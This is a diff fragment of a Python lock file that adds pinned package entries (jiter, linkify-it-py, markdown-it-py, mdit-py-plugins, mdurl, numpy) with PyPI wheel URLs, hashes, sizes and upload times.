+ { url = "https://files.pythonhosted.org/packages/c1/d6/5a59d938244a30735fe62d9433fd325f9021ea29d89780ea4596ea93bc89/jiter-0.16.0-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:8d031aabecc4f1b6276adfb42e3aabb77c89d468bf616600e8d3a11328929053", size = 350520, upload-time = "2026-06-29T13:03:46.671Z" },
+ { url = "https://files.pythonhosted.org/packages/67/f8/c4a857f49c9af125f6bbcac7e3eee7f7978ed89682833062e2dbf62576b1/jiter-0.16.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eab2cd170150e70153de16896a1774e3a1dca80154c56b54d7a812c479a7165e", size = 387550, upload-time = "2026-06-29T13:03:48.361Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/d6/5fbc2f7d6b67b754caa61a993a2e626e815dec47ffc2f9e35f01adfebec7/jiter-0.16.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:6edb63a46e65a82c26800a868e49b2cac30dd5a4218b88d74bc2c848c8ad60bb", size = 515424, upload-time = "2026-06-29T13:03:49.881Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/54/284f0164b64a5fed915fea6ba7e9ba9b3d8d37c67d59cf2e3bb99d45cdfe/jiter-0.16.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:659039cc50b5addcc35fcc87ae2c1833b7c0a8e5326ef631a75e4478447bcf84", size = 546981, upload-time = "2026-06-29T13:03:51.363Z" },
+ { url = "https://files.pythonhosted.org/packages/13/c5/2a467585a576594384e1d2c43e1224deaafc085f24e243529cf98beef8e1/jiter-0.16.0-cp313-cp313-win32.whl", hash = "sha256:c9c53be232c2e206ef9cdbad81a48bfa74c3d3f08bcf8124630a8a748aad993e", size = 202853, upload-time = "2026-06-29T13:03:53.015Z" },
+ { url = "https://files.pythonhosted.org/packages/88/6a/de61d04b9eec69c71719968d2f716532a3bc121170c44a39e14979c6be81/jiter-0.16.0-cp313-cp313-win_amd64.whl", hash = "sha256:baad945ed47f163ad833314f8e3288c396118934f94e7bbb9e243ce4b341a4fd", size = 196160, upload-time = "2026-06-29T13:03:54.447Z" },
+ { url = "https://files.pythonhosted.org/packages/19/4b/b390ed59bafb3f31d008d1218578f10327714484b334439947f7e5b11e7f/jiter-0.16.0-cp313-cp313-win_arm64.whl", hash = "sha256:3c1fd2dbe1b0af19e987f03fe66c5f5bd105a2229c1aff4ab14890b24f41d21a", size = 189862, upload-time = "2026-06-29T13:03:55.754Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/89/bc4f1b57d5da938fd344a466396541e586d161320d70bffd929aaafcd8f4/jiter-0.16.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b2c61484666ad42726029af0c00ef4541f0f3b5cdc550221f56c2343208018ee", size = 308239, upload-time = "2026-06-29T13:03:57.205Z" },
+ { url = "https://files.pythonhosted.org/packages/65/7a/c415453e5213001bf3b411ff65dec3d303b0e76a4a2cfea9768cd4960994/jiter-0.16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:63efadc657488f45db1c676d81e704cac2abf3fdb892def1faea61db053127e2", size = 308928, upload-time = "2026-06-29T13:03:58.643Z" },
+ { url = "https://files.pythonhosted.org/packages/11/fc/1f4fb7ebf9a724c7741994f4aae18fba1e2f3133df14521a79194952c34a/jiter-0.16.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cf0d73f50e7b6935677854f6e8e31d499ca7064dd24734f703e060f5b237d883", size = 336998, upload-time = "2026-06-29T13:04:00.071Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/8d/72cadaac05ccfa7cc3a0a2232862e6c72443ca40cf300ba8b57f9f18b69b/jiter-0.16.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bf3ea07d9bc8e7d03a9fbc051295462e6dbc295b894fd72457c3136e3e43d898", size = 362112, upload-time = "2026-06-29T13:04:01.52Z" },
+ { url = "https://files.pythonhosted.org/packages/58/4a/c4b0d5f651fda90a24ffce9f8d56cde462a2e09d31ae3de3c68cef34c04e/jiter-0.16.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:26798522707abb47d767db536e4148ceac1b14446bf028ee85e579a2e043cfe5", size = 459807, upload-time = "2026-06-29T13:04:03.214Z" },
+ { url = "https://files.pythonhosted.org/packages/80/58/ef77879ea9aa56b50824edc5a445e226422c7a8d211f3fd2a56bcb9493cf/jiter-0.16.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bc837c1b9631be10abfe0191537fe8009838204cec7e44827401ace390ddb567", size = 373181, upload-time = "2026-06-29T13:04:04.629Z" },
+ { url = "https://files.pythonhosted.org/packages/49/2e/ffbc3f254e4d8a66da3062c624a7df4b7c2b2cf9e1fe43cf394b3e104041/jiter-0.16.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49060fd70737fad59d33ba9dcc0d83247dc9e77187de26053a19c16c9f32bd69", size = 344927, upload-time = "2026-06-29T13:04:06.067Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/f6/0be5dc6d64a89f80aa8fec984f94dedb2973e251edcae55841d60786d578/jiter-0.16.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:adbb8edeadd431bc4477879d5d371ece7cb1334486584e0f252656dd7ffada29", size = 352754, upload-time = "2026-06-29T13:04:07.477Z" },
+ { url = "https://files.pythonhosted.org/packages/da/6e/7d31243b3b91cd261dd19e9d3557fc3251a80883d3d8049c86174e7ab7af/jiter-0.16.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:31aaee5b80f672c1dc21272bcfb9cbdcfc1ea04ff50f00ed5af500b80c44fa93", size = 390553, upload-time = "2026-06-29T13:04:08.92Z" },
+ { url = "https://files.pythonhosted.org/packages/25/33/51ae371fde3c88897520f62b4d5f8b27ad7103e2bb10812ff52195609853/jiter-0.16.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:6722bcef4ffc86c835574b1b2fac6b33b9fb4a889c781e67950e891591f3c55a", size = 516900, upload-time = "2026-06-29T13:04:10.407Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/45/6449b3d123ea439ba79507c657288f461d55049e7bcbdc2cf8eb8210f491/jiter-0.16.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:5ab4f50ff971b611d656554ea10b75f80097392c827bc32923c6eeb6386c8b00", size = 548754, upload-time = "2026-06-29T13:04:12.046Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/e7/fd2fb11ae3e2649333da3aa170d04d7b3000bbdc3b270f6513382fdf4e04/jiter-0.16.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:710cc51d4ebdcd3c1f70b232c1db1ea1344a075770422bbd4bede5708335acbe", size = 122381, upload-time = "2026-06-29T13:04:13.413Z" },
+ { url = "https://files.pythonhosted.org/packages/26/80/f0b147a62c315a164ed2168908286ca302310824c218d3aae52b06c0c9a9/jiter-0.16.0-cp314-cp314-win32.whl", hash = "sha256:57b37fc887a32d44798e4d8ebfa7c9683ff3da1d5bf38f08d1bb3573ccb39106", size = 204578, upload-time = "2026-06-29T13:04:14.813Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/e6/4758a14304b4523a6f5adb2419340086aa3593bd4327c2b25b5948a90548/jiter-0.16.0-cp314-cp314-win_amd64.whl", hash = "sha256:cbd18dd5e2df96b580487b5745adf57ef64ad89ba2d9662fc3c19386acce7db8", size = 198154, upload-time = "2026-06-29T13:04:16.272Z" },
+ { url = "https://files.pythonhosted.org/packages/26/be/41fa54a2e7ea41d6c99f1dc5b1f0fd4cb474680304b5d268dd518e81da3a/jiter-0.16.0-cp314-cp314-win_arm64.whl", hash = "sha256:a32d2027a9fa67f109ff245a3252ece3ccc32cc56703e1deab6cc846a59e0585", size = 191458, upload-time = "2026-06-29T13:04:17.707Z" },
+ { url = "https://files.pythonhosted.org/packages/81/6b/59127338b86d9fe4d99418f5a15118bea778103ee0fe9d9dd7e0af174e95/jiter-0.16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2577196f4474ef3fc4779a088a23b0897bbf86f9ea3679c372d45b8383b43207", size = 316739, upload-time = "2026-06-29T13:04:19.663Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/95/49461034d5388196d3dabf98748935f017b7785d8f3f5349f834bcc4ed0d/jiter-0.16.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:616e89e008a93c01104161c75b4988e58716b01d62307ebfe161e52a56d2a818", size = 340911, upload-time = "2026-06-29T13:04:21.257Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/97/a4369f2fb82cb3dda13b98622f31249b2e014b223fe64ee534413ad72294/jiter-0.16.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e2e9efbe042210df657bade597f66d6d75723e3d8f45a12ea6d8167ff8bbce3", size = 361747, upload-time = "2026-06-29T13:04:22.677Z" },
+ { url = "https://files.pythonhosted.org/packages/28/51/49b6ed456261646e1906016a6760367a28aacd3c24805e4e5fe64116c1db/jiter-0.16.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f4d9e473a5ce7d27fef8b848df4dc16e283893d3f53b4a585e72c9595f3c284", size = 460225, upload-time = "2026-06-29T13:04:24.441Z" },
+ { url = "https://files.pythonhosted.org/packages/33/b5/5689aff4f66c5b60be63106e591dbfcba2190df97d2c9c7cf052361ddb98/jiter-0.16.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d30a4a1c87713060c8d1cc59a7b6c8fb6b8ef0a6900368014c76c87922a2929", size = 373169, upload-time = "2026-06-29T13:04:25.884Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/96/3ae1b85ee0d6d6cab254fb7f8da018272b932bbf2d69b07e98aa2a96c746/jiter-0.16.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae96332410f866e5900d809298b1ed82735932986c672495f9701daacd80620", size = 350332, upload-time = "2026-06-29T13:04:27.302Z" },
+ { url = "https://files.pythonhosted.org/packages/15/32/c99d7bafd78986556c95bf60ce84c6cc98786eac56066c12d7f828bb6747/jiter-0.16.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:da3d7ec75dc83bb18bca888b5edfae0656a26849056c59e05a7728badd17e7af", size = 353377, upload-time = "2026-06-29T13:04:28.731Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/4b/f99a8e571287c3dec766bcc18528bbe8e8fb5365522ab5e6d64c93e87066/jiter-0.16.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ee6162b77d49a9939229df666dfa8af3e656b6701b54c4c84966d740e189264e", size = 387746, upload-time = "2026-06-29T13:04:30.319Z" },
+ { url = "https://files.pythonhosted.org/packages/75/69/c78a5b3f71040e34eb5917df26fb7ae9a2174cad1ccbf277512507c53a6e/jiter-0.16.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:63ffdbdae7d4499f4cda14eadc12ddcabef0fc0c081191bdc2247489cb698077", size = 517292, upload-time = "2026-06-29T13:04:31.709Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/f7/095b38eda4c70d03651c403f29a5590f16d12ddc5d544aac9f9cddf72277/jiter-0.16.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:a111256a7193bea0759267b10385e5870949c239ed7b6ddbaaf57573edb38734", size = 549259, upload-time = "2026-06-29T13:04:33.721Z" },
+ { url = "https://files.pythonhosted.org/packages/2e/c5/6a0207d90e5f656d95af98ebd0934f382d37674416f215aeda2ff8063e51/jiter-0.16.0-cp314-cp314t-win32.whl", hash = "sha256:de5ba8763e56b793561f43bed197c9ea55776daa5e9a6b91eed68a909bc9cdbf", size = 206523, upload-time = "2026-06-29T13:04:35.068Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/31/c757d5f30a8980fd945ce7b98be10be9e4ff59c7c42f5fd86804c2e87db8/jiter-0.16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b8a3f9a6008048fe9def7bf465180564a6e458047d2ce499149cfbe73c3ae9db", size = 200366, upload-time = "2026-06-29T13:04:36.61Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/a2/d88de6d313d734a544a7901353ad5db67cb38dcfcd91713b7979dafc345d/jiter-0.16.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0fa25b09b13075c46f5bc174f2690525a925a4fc2f7c82969a2bbabff22386ce", size = 190516, upload-time = "2026-06-29T13:04:38.004Z" },
+ { url = "https://files.pythonhosted.org/packages/06/d3/8e278946d43eeca2585b4dd0834a887cd71136329b837f3a16ed86a8b4b0/jiter-0.16.0-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:850ccb1d7eedb4200f4014b1c0e8a577de114fc3cd88faad646dcc9bc4bb12ad", size = 304518, upload-time = "2026-06-29T13:05:00.172Z" },
+ { url = "https://files.pythonhosted.org/packages/72/43/28d4ef495028bf0506a413d4db3f4eb3e7288a382e0f065f306a17bbeb5e/jiter-0.16.0-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:e34e97bda77eb63242a410243c071e28ac7e0d8c0948c5ee658498690a4b2f2f", size = 310207, upload-time = "2026-06-29T13:05:02.123Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/ca/c366b1012da1d640de975d9683acd44e4d150d9068845d0ca2610435253f/jiter-0.16.0-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b7dc85ea77d4abbae8bad0d3538678aedee75bceec4e2f6c8dfb1c74772e5aa5", size = 342771, upload-time = "2026-06-29T13:05:03.55Z" },
+ { url = "https://files.pythonhosted.org/packages/16/52/50cc4056fc1ae02e7154704e7ecc89df0afb8300222cfe8a52d3f67e4730/jiter-0.16.0-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17ca7fae79f6d99cd9a042b75f917eaada7b895cfc7dd2ee3a16089dcaec7a85", size = 346468, upload-time = "2026-06-29T13:05:05.452Z" },
+ { url = "https://files.pythonhosted.org/packages/98/ab/664fd8c4be028b2bedd3d2ff08769c4ede23d0dbc87a77c62384a0515b5d/jiter-0.16.0-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:f17d61a28b4b3e0e3e2ba98490c70501403b4d196f78732439160e7fd3678127", size = 303106, upload-time = "2026-06-29T13:05:07.118Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/07/421f1d5b65493a76e16027b848aba6a7d28073ae75944fa4289cc914d39f/jiter-0.16.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:96e38eea538c8ddf853a35727c7be0741c76c13f04148ac5c116222f50ece3b3", size = 304658, upload-time = "2026-06-29T13:05:08.708Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/db/bba1155f01a01c3c37a89425d571da751bbedf5c54247b831a04cb971798/jiter-0.16.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d284fb8d94d5855d60c44fefcab4bf966f1da6fada73992b01f6f0c9bc0c6702", size = 339719, upload-time = "2026-06-29T13:05:10.41Z" },
+ { url = "https://files.pythonhosted.org/packages/78/f7/18a1afcd64f35314b68c1f23afcd9994d0bc13e65cc77517afff4e83986d/jiter-0.16.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d613743df53199b1aa256a7d328340da6d7078aac7705a7db9d7a791e9cfd2", size = 343885, upload-time = "2026-06-29T13:05:12.087Z" },
+]
+
+[[package]]
+name = "linkify-it-py"
+version = "2.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "uc-micro-py" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/2e/c9/06ea13676ef354f0af6169587ae292d3e2406e212876a413bf9eece4eb23/linkify_it_py-2.1.0.tar.gz", hash = "sha256:43360231720999c10e9328dc3691160e27a718e280673d444c38d7d3aaa3b98b", size = 29158, upload-time = "2026-03-01T07:48:47.683Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b4/de/88b3be5c31b22333b3ca2f6ff1de4e863d8fe45aaea7485f591970ec1d3e/linkify_it_py-2.1.0-py3-none-any.whl", hash = "sha256:0d252c1594ecba2ecedc444053db5d3a9b7ec1b0dd929c8f1d74dce89f86c05e", size = 19878, upload-time = "2026-03-01T07:48:46.098Z" },
+]
+
+[[package]]
+name = "markdown-it-py"
+version = "4.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "mdurl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" },
+]
+
+[package.optional-dependencies]
+linkify = [
+ { name = "linkify-it-py" },
+]
+
+[[package]]
+name = "mdit-py-plugins"
+version = "0.6.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markdown-it-py" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/59/fc/f8d0863f8862f25602c0404d75568e89fb6b4109804645e5cdfb1be5cf56/mdit_py_plugins-0.6.1.tar.gz", hash = "sha256:a2bca0f039f39dbd35fb74ae1b5f998608c437463371f0ff7f49a19a17a114d0", size = 56114, upload-time = "2026-05-13T09:03:38.91Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a5/69/6da5581c6a7fede7dc261bf4e67d6adca4196f176b43288b55b3db395b6e/mdit_py_plugins-0.6.1-py3-none-any.whl", hash = "sha256:214c82fb2ac524472ab6a5bcab1de80f73b50443e187f401bfd77efbc7c6481d", size = 66663, upload-time = "2026-05-13T09:03:37.76Z" },
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
+]
+
+[[package]]
+name = "numpy"
+version = "2.2.6"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+ "python_full_version < '3.11'",
+]
+sdist = { url = "https://files.pythonhosted.org/packages/76/21/7d2a95e4bba9dc13d043ee156a356c0a8f0c6309dff6b21b4d71a073b8a8/numpy-2.2.6.tar.gz", hash = "sha256:e29554e2bef54a90aa5cc07da6ce955accb83f21ab5de01a62c8478897b264fd", size = 20276440, upload-time = "2025-05-17T22:38:04.611Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/9a/3e/ed6db5be21ce87955c0cbd3009f2803f59fa08df21b5df06862e2d8e2bdd/numpy-2.2.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b412caa66f72040e6d268491a59f2c43bf03eb6c96dd8f0307829feb7fa2b6fb", size = 21165245, upload-time = "2025-05-17T21:27:58.555Z" },
+ { url = "https://files.pythonhosted.org/packages/22/c2/4b9221495b2a132cc9d2eb862e21d42a009f5a60e45fc44b00118c174bff/numpy-2.2.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8e41fd67c52b86603a91c1a505ebaef50b3314de0213461c7a6e99c9a3beff90", size = 14360048, upload-time = "2025-05-17T21:28:21.406Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/77/dc2fcfc66943c6410e2bf598062f5959372735ffda175b39906d54f02349/numpy-2.2.6-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:37e990a01ae6ec7fe7fa1c26c55ecb672dd98b19c3d0e1d1f326fa13cb38d163", size = 5340542, upload-time = "2025-05-17T21:28:30.931Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/4f/1cb5fdc353a5f5cc7feb692db9b8ec2c3d6405453f982435efc52561df58/numpy-2.2.6-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:5a6429d4be8ca66d889b7cf70f536a397dc45ba6faeb5f8c5427935d9592e9cf", size = 6878301, upload-time = "2025-05-17T21:28:41.613Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/17/96a3acd228cec142fcb8723bd3cc39c2a474f7dcf0a5d16731980bcafa95/numpy-2.2.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:efd28d4e9cd7d7a8d39074a4d44c63eda73401580c5c76acda2ce969e0a38e83", size = 14297320, upload-time = "2025-05-17T21:29:02.78Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/63/3de6a34ad7ad6646ac7d2f55ebc6ad439dbbf9c4370017c50cf403fb19b5/numpy-2.2.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc7b73d02efb0e18c000e9ad8b83480dfcd5dfd11065997ed4c6747470ae8915", size = 16801050, upload-time = "2025-05-17T21:29:27.675Z" },
+ { url = "https://files.pythonhosted.org/packages/07/b6/89d837eddef52b3d0cec5c6ba0456c1bf1b9ef6a6672fc2b7873c3ec4e2e/numpy-2.2.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74d4531beb257d2c3f4b261bfb0fc09e0f9ebb8842d82a7b4209415896adc680", size = 15807034, upload-time = "2025-05-17T21:29:51.102Z" },
+ { url = "https://files.pythonhosted.org/packages/01/c8/dc6ae86e3c61cfec1f178e5c9f7858584049b6093f843bca541f94120920/numpy-2.2.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8fc377d995680230e83241d8a96def29f204b5782f371c532579b4f20607a289", size = 18614185, upload-time = "2025-05-17T21:30:18.703Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/c5/0064b1b7e7c89137b471ccec1fd2282fceaae0ab3a9550f2568782d80357/numpy-2.2.6-cp310-cp310-win32.whl", hash = "sha256:b093dd74e50a8cba3e873868d9e93a85b78e0daf2e98c6797566ad8044e8363d", size = 6527149, upload-time = "2025-05-17T21:30:29.788Z" },
+ { url = "https://files.pythonhosted.org/packages/a3/dd/4b822569d6b96c39d1215dbae0582fd99954dcbcf0c1a13c61783feaca3f/numpy-2.2.6-cp310-cp310-win_amd64.whl", hash = "sha256:f0fd6321b839904e15c46e0d257fdd101dd7f530fe03fd6359c1ea63738703f3", size = 12904620, upload-time = "2025-05-17T21:30:48.994Z" },
+ { url = "https://files.pythonhosted.org/packages/da/a8/4f83e2aa666a9fbf56d6118faaaf5f1974d456b1823fda0a176eff722839/numpy-2.2.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f9f1adb22318e121c5c69a09142811a201ef17ab257a1e66ca3025065b7f53ae", size = 21176963, upload-time = "2025-05-17T21:31:19.36Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/2b/64e1affc7972decb74c9e29e5649fac940514910960ba25cd9af4488b66c/numpy-2.2.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c820a93b0255bc360f53eca31a0e676fd1101f673dda8da93454a12e23fc5f7a", size = 14406743, upload-time = "2025-05-17T21:31:41.087Z" },
+ { url = "https://files.pythonhosted.org/packages/4a/9f/0121e375000b5e50ffdd8b25bf78d8e1a5aa4cca3f185d41265198c7b834/numpy-2.2.6-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:3d70692235e759f260c3d837193090014aebdf026dfd167834bcba43e30c2a42", size = 5352616, upload-time = "2025-05-17T21:31:50.072Z" },
+ { url = "https://files.pythonhosted.org/packages/31/0d/b48c405c91693635fbe2dcd7bc84a33a602add5f63286e024d3b6741411c/numpy-2.2.6-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:481b49095335f8eed42e39e8041327c05b0f6f4780488f61286ed3c01368d491", size = 6889579, upload-time = "2025-05-17T21:32:01.712Z" },
+ { url = "https://files.pythonhosted.org/packages/52/b8/7f0554d49b565d0171eab6e99001846882000883998e7b7d9f0d98b1f934/numpy-2.2.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b64d8d4d17135e00c8e346e0a738deb17e754230d7e0810ac5012750bbd85a5a", size = 14312005, upload-time = "2025-05-17T21:32:23.332Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/dd/2238b898e51bd6d389b7389ffb20d7f4c10066d80351187ec8e303a5a475/numpy-2.2.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba10f8411898fc418a521833e014a77d3ca01c15b0c6cdcce6a0d2897e6dbbdf", size = 16821570, upload-time = "2025-05-17T21:32:47.991Z" },
+ { url = "https://files.pythonhosted.org/packages/83/6c/44d0325722cf644f191042bf47eedad61c1e6df2432ed65cbe28509d404e/numpy-2.2.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:bd48227a919f1bafbdda0583705e547892342c26fb127219d60a5c36882609d1", size = 15818548, upload-time = "2025-05-17T21:33:11.728Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/9d/81e8216030ce66be25279098789b665d49ff19eef08bfa8cb96d4957f422/numpy-2.2.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9551a499bf125c1d4f9e250377c1ee2eddd02e01eac6644c080162c0c51778ab", size = 18620521, upload-time = "2025-05-17T21:33:39.139Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/fd/e19617b9530b031db51b0926eed5345ce8ddc669bb3bc0044b23e275ebe8/numpy-2.2.6-cp311-cp311-win32.whl", hash = "sha256:0678000bb9ac1475cd454c6b8c799206af8107e310843532b04d49649c717a47", size = 6525866, upload-time = "2025-05-17T21:33:50.273Z" },
+ { url = "https://files.pythonhosted.org/packages/31/0a/f354fb7176b81747d870f7991dc763e157a934c717b67b58456bc63da3df/numpy-2.2.6-cp311-cp311-win_amd64.whl", hash = "sha256:e8213002e427c69c45a52bbd94163084025f533a55a59d6f9c5b820774ef3303", size = 12907455, upload-time = "2025-05-17T21:34:09.135Z" },
+ { url = "https://files.pythonhosted.org/packages/82/5d/c00588b6cf18e1da539b45d3598d3557084990dcc4331960c15ee776ee41/numpy-2.2.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:41c5a21f4a04fa86436124d388f6ed60a9343a6f767fced1a8a71c3fbca038ff", size = 20875348, upload-time = "2025-05-17T21:34:39.648Z" },
+ { url = "https://files.pythonhosted.org/packages/66/ee/560deadcdde6c2f90200450d5938f63a34b37e27ebff162810f716f6a230/numpy-2.2.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:de749064336d37e340f640b05f24e9e3dd678c57318c7289d222a8a2f543e90c", size = 14119362, upload-time = "2025-05-17T21:35:01.241Z" },
+ { url = "https://files.pythonhosted.org/packages/3c/65/4baa99f1c53b30adf0acd9a5519078871ddde8d2339dc5a7fde80d9d87da/numpy-2.2.6-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:894b3a42502226a1cac872f840030665f33326fc3dac8e57c607905773cdcde3", size = 5084103, upload-time = "2025-05-17T21:35:10.622Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/89/e5a34c071a0570cc40c9a54eb472d113eea6d002e9ae12bb3a8407fb912e/numpy-2.2.6-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:71594f7c51a18e728451bb50cc60a3ce4e6538822731b2933209a1f3614e9282", size = 6625382, upload-time = "2025-05-17T21:35:21.414Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/35/8c80729f1ff76b3921d5c9487c7ac3de9b2a103b1cd05e905b3090513510/numpy-2.2.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2618db89be1b4e05f7a1a847a9c1c0abd63e63a1607d892dd54668dd92faf87", size = 14018462, upload-time = "2025-05-17T21:35:42.174Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/3d/1e1db36cfd41f895d266b103df00ca5b3cbe965184df824dec5c08c6b803/numpy-2.2.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd83c01228a688733f1ded5201c678f0c53ecc1006ffbc404db9f7a899ac6249", size = 16527618, upload-time = "2025-05-17T21:36:06.711Z" },
